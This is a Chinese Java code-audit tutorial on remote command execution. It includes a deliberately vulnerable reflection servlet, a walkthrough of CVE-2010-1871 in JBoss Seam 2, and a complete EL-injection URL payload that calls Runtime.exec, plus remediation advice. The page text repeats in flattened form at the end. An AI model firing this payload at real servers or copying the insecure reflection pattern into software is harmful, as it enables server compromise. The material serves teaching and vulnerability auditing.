【Java 代码审计入门-05】RCE 漏洞原理与实际案例介绍
字数 1457 2025-08-25 22:59:09

Java 代码审计入门:RCE 漏洞原理与实际案例详解

0x00 RCE漏洞概述

远程命令执行(RCE)漏洞是指攻击者通过Web端或客户端提交执行命令,由于服务器端没有针对执行函数做过滤或存在逻辑漏洞,导致可以在服务器上执行任意命令。

漏洞原理

  • 开发人员未对代码中可执行的特殊函数或自定义方法入口做过滤
  • 客户端可以提交恶意构造语句并交由服务器端执行
  • 常见执行函数:Runtime.exec()ProcessProcessBuilder.start()

0x01 RCE漏洞常见场景

  1. 直接可执行函数:服务端直接存在可执行函数且参数过滤不严
  2. 间接可执行函数:服务端不直接存在可执行函数但参数过滤不严
  3. 表达式注入:OGNL、SpEL、MVEL、EL、Fel、JST+EL等
  4. 模板引擎注入:Freemarker、Velocity、Thymeleaf等
  5. 脚本语言注入:Groovy、JavascriptEngine等
  6. 第三方组件漏洞:Fastjson、Shiro、Xstream、Struts2、Weblogic等

0x02 演示案例:反射机制导致的RCE

漏洞代码分析

public void CommandFound(HttpServletRequest req, HttpServletResponse resp) 
    throws ClassNotFoundException, InstantiationException, IllegalAccessException, 
           NoSuchMethodException, SecurityException, IllegalArgumentException, 
           InvocationTargetException, IOException {
    
    PrintWriter print = resp.getWriter();
    String name = req.getParameter("command");  // 类名
    String method = req.getParameter("method"); // 方法名
    String str = req.getParameter("str");      // 参数

    // 反射获取类
    Class getCommandClass = Class.forName(name);
    Constructor constructor = getCommandClass.getDeclaredConstructor();
    constructor.setAccessible(true);
    Object getInstance = constructor.newInstance();

    // 反射获取并执行方法
    Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);
    getCommandMethod.setAccessible(true);
    Object mes = getCommandMethod.invoke(getInstance, str);

    print.println("即将执行的操作指令:<br>");
    print.println(mes);
    print.flush();
}

漏洞利用方式

由于代码对传入的类、方法、参数没有任何限制,攻击者可以:

  1. 传入java.lang.Runtime作为类名
  2. 传入exec作为方法名
  3. 传入要执行的系统命令作为参数

修复方案

  1. 禁止用户控制程序执行的命令,使用白名单机制
  2. 对用户输入进行严格过滤,优先使用白名单而非黑名单
  3. 设置绝对路径执行命令
  4. 严格设置权限,避免不必要的setAccessible(true)

0x03 实际案例:CVE-2010-1871分析

漏洞简介

JBoss Seam 2框架中的JBoss EL表达式解析漏洞,允许通过精心构造的URL执行任意代码。

环境搭建

  • 系统:Ubuntu 18.04
  • JDK:1.6
  • Ant:1.6
  • JBoss AS:5.0.1
  • JBoss-seam:2.2.0.CR1

漏洞分析

漏洞入口

jboss-seam/examples/booking/exploded-archives/jboss-seam-booking.ear/jboss-seam.jar中的navigation/Pages.java

关键代码:

private static boolean callAction(FacesContext facesContext) {
    boolean result = false;
    String outcome = (String)facesContext.getExternalContext()
                        .getRequestParameterMap().get("actionOutcome");
    String fromAction = outcome;
    
    if (outcome == null) {
        String actionId = (String)facesContext.getExternalContext()
                            .getRequestParameterMap().get("actionMethod");
        if (actionId != null) {
            if (!SafeActions.instance().isActionSafe(actionId)) 
                return result;
            String expression = SafeActions.toAction(actionId);
            result = true;
            Expressions.MethodExpression actionExpression = 
                Expressions.instance().createMethodExpression(expression);
            outcome = toString(actionExpression.invoke(new Object[0]));
            fromAction = expression;
            handleOutcome(facesContext, outcome, fromAction);
        }
    } else {
        handleOutcome(facesContext, outcome, fromAction);
    }
    return result;
}

漏洞利用链

  1. 传入actionOutcome参数
  2. 参数以/开头触发isOutcomeViewId()判断
  3. 进入FacesManager.instance().interpolateAndRedirect()
  4. 最终解析JBoss EL表达式

JBoss EL表达式构造

通过反射调用Runtime.exec()

expressions.getClass().forName('java.lang.Runtime')
           .getDeclaredMethod('getRuntime')
           .invoke(expressions.getClass().forName('java.lang.Runtime'))
           .exec('command')

最终Payload

/seam-booking/home.seam?actionOutcome=/test.xhtml?canshu=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('gnome-calculator')}

修复方案

  1. actionOutcome检查是否包含#{等字符
  2. 创建黑名单过滤危险方法:.getClass(), .addRole(), .getPassword(), .removeRole()
  3. 升级到最新版本(注意:JBoss EAP 7已停止维护)

0x04 总结

  1. RCE漏洞危害极大,可导致服务器完全沦陷
  2. 审计时不仅要关注直接执行函数,还要注意反射、表达式等间接执行方式
  3. 修复时应根据实际场景选择合适方案,优先使用白名单机制
  4. 第三方组件的RCE漏洞往往影响广泛,需特别关注

0x05 参考资源

  1. JBoss EL表达式增强文档
  2. Java反射机制详解
  3. CVE-2010-1871安全公告
  4. 表达式注入相关研究文章
Java 代码审计入门:RCE 漏洞原理与实际案例详解 0x00 RCE漏洞概述 远程命令执行(RCE)漏洞是指攻击者通过Web端或客户端提交执行命令,由于服务器端没有针对执行函数做过滤或存在逻辑漏洞,导致可以在服务器上执行任意命令。 漏洞原理 开发人员未对代码中可执行的特殊函数或自定义方法入口做过滤 客户端可以提交恶意构造语句并交由服务器端执行 常见执行函数: Runtime.exec() 、 Process 、 ProcessBuilder.start() 等 0x01 RCE漏洞常见场景 直接可执行函数 :服务端直接存在可执行函数且参数过滤不严 间接可执行函数 :服务端不直接存在可执行函数但参数过滤不严 表达式注入 :OGNL、SpEL、MVEL、EL、Fel、JST+EL等 模板引擎注入 :Freemarker、Velocity、Thymeleaf等 脚本语言注入 :Groovy、JavascriptEngine等 第三方组件漏洞 :Fastjson、Shiro、Xstream、Struts2、Weblogic等 0x02 演示案例:反射机制导致的RCE 漏洞代码分析 漏洞利用方式 由于代码对传入的类、方法、参数没有任何限制,攻击者可以: 传入 java.lang.Runtime 作为类名 传入 exec 作为方法名 传入要执行的系统命令作为参数 修复方案 禁止用户控制程序执行的命令,使用白名单机制 对用户输入进行严格过滤,优先使用白名单而非黑名单 设置绝对路径执行命令 严格设置权限,避免不必要的 setAccessible(true) 0x03 实际案例:CVE-2010-1871分析 漏洞简介 JBoss Seam 2框架中的JBoss EL表达式解析漏洞,允许通过精心构造的URL执行任意代码。 环境搭建 系统:Ubuntu 18.04 JDK:1.6 Ant:1.6 JBoss AS:5.0.1 JBoss-seam:2.2.0.CR1 漏洞分析 漏洞入口 jboss-seam/examples/booking/exploded-archives/jboss-seam-booking.ear/jboss-seam.jar 中的 navigation/Pages.java 关键代码: 漏洞利用链 传入 actionOutcome 参数 参数以 / 开头触发 isOutcomeViewId() 判断 进入 FacesManager.instance().interpolateAndRedirect() 最终解析JBoss EL表达式 JBoss EL表达式构造 通过反射调用 Runtime.exec() : 最终Payload 修复方案 对 actionOutcome 检查是否包含 #{ 等字符 创建黑名单过滤危险方法: .getClass() , .addRole() , .getPassword() , .removeRole() 升级到最新版本(注意:JBoss EAP 7已停止维护) 0x04 总结 RCE漏洞危害极大,可导致服务器完全沦陷 审计时不仅要关注直接执行函数,还要注意反射、表达式等间接执行方式 修复时应根据实际场景选择合适方案,优先使用白名单机制 第三方组件的RCE漏洞往往影响广泛,需特别关注 0x05 参考资源 JBoss EL表达式增强文档 Java反射机制详解 CVE-2010-1871安全公告 表达式注入相关研究文章